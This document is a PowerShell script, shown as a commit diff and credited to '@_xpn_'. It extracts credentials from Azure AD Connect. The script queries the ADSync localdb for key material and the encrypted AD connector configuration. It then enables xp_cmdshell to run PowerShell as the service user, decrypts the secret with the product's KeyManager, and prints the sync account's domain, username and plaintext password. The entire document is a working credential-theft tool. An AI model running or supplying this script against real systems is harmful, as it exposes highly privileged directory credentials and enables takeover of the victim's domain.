1+ Write-Host " AD Connect Sync Credential Extract v2 (@_xpn_)"
2+ Write-Host " `t [ Updated to support new cryptokey storage method ]`n "
3+
4+ $client = new-object System.Data.SqlClient.SqlConnection - ArgumentList " Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
5+
6+ try {
7+ $client.Open ()
8+ } catch {
9+ Write-Host " [!] Could not connect to localdb..."
10+ return
11+ }
12+
13+ Write-Host " [*] Querying ADSync localdb (mms_server_configuration)"
14+
15+ $cmd = $client.CreateCommand ()
16+ $cmd.CommandText = " SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
17+ $reader = $cmd.ExecuteReader ()
18+ if ($reader.Read () -ne $true ) {
19+ Write-Host " [!] Error querying mms_server_configuration"
20+ return
21+ }
22+
23+ $key_id = $reader.GetInt32 (0 )
24+ $instance_id = $reader.GetGuid (1 )
25+ $entropy = $reader.GetGuid (2 )
26+ $reader.Close ()
27+
28+ Write-Host " [*] Querying ADSync localdb (mms_management_agent)"
29+
30+ $cmd = $client.CreateCommand ()
31+ $cmd.CommandText = " SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
32+ $reader = $cmd.ExecuteReader ()
33+ if ($reader.Read () -ne $true ) {
34+ Write-Host " [!] Error querying mms_management_agent"
35+ return
36+ }
37+
38+ $config = $reader.GetString (0 )
39+ $crypted = $reader.GetString (1 )
40+ $reader.Close ()
41+
42+ Write-Host " [*] Using xp_cmdshell to run some Powershell as the service user"
43+
44+ $cmd = $client.CreateCommand ()
45+ $cmd.CommandText = " EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `" add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$ km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$ km.LoadKeySet([guid]''$entropy '', [guid]''$instance_id '', $key_id );`$ key = `$ null;`$ km.GetActiveCredentialKey([ref]`$ key);`$ key2 = `$ null;`$ km.GetKey(1, [ref]`$ key2);`$ decrypted = `$ null;`$ key2.DecryptBase64ToString(''$crypted '', [ref]`$ decrypted);Write-Host `$ decrypted`" '"
46+ $reader = $cmd.ExecuteReader ()
47+
48+ $decrypted = [string ]::Empty
49+
50+ while ($reader.Read () -eq $true -and $reader.IsDBNull (0 ) -eq $false ) {
51+ $decrypted += $reader.GetString (0 )
52+ }
53+
54+ if ($decrypted -eq [string ]::Empty) {
55+ Write-Host " [!] Error using xp_cmdshell to launch our decryption powershell"
56+ return
57+ }
58+
59+ $domain = select-xml - Content $config - XPath " //parameter[@name='forest-login-domain']" | select @ {Name = ' Domain' ; Expression = {$_.node.InnerText }}
60+ $username = select-xml - Content $config - XPath " //parameter[@name='forest-login-user']" | select @ {Name = ' Username' ; Expression = {$_.node.InnerText }}
61+ $password = select-xml - Content $decrypted - XPath " //attribute" | select @ {Name = ' Password' ; Expression = {$_.node.InnerText }}
62+
63+ Write-Host " [*] Credentials incoming...`n "
64+
65+ Write-Host " Domain: $ ( $domain.Domain ) "
66+ Write-Host " Username: $ ( $username.Username ) "
67+ Write-Host " Password: $ ( $password.Password ) "
0 commit comments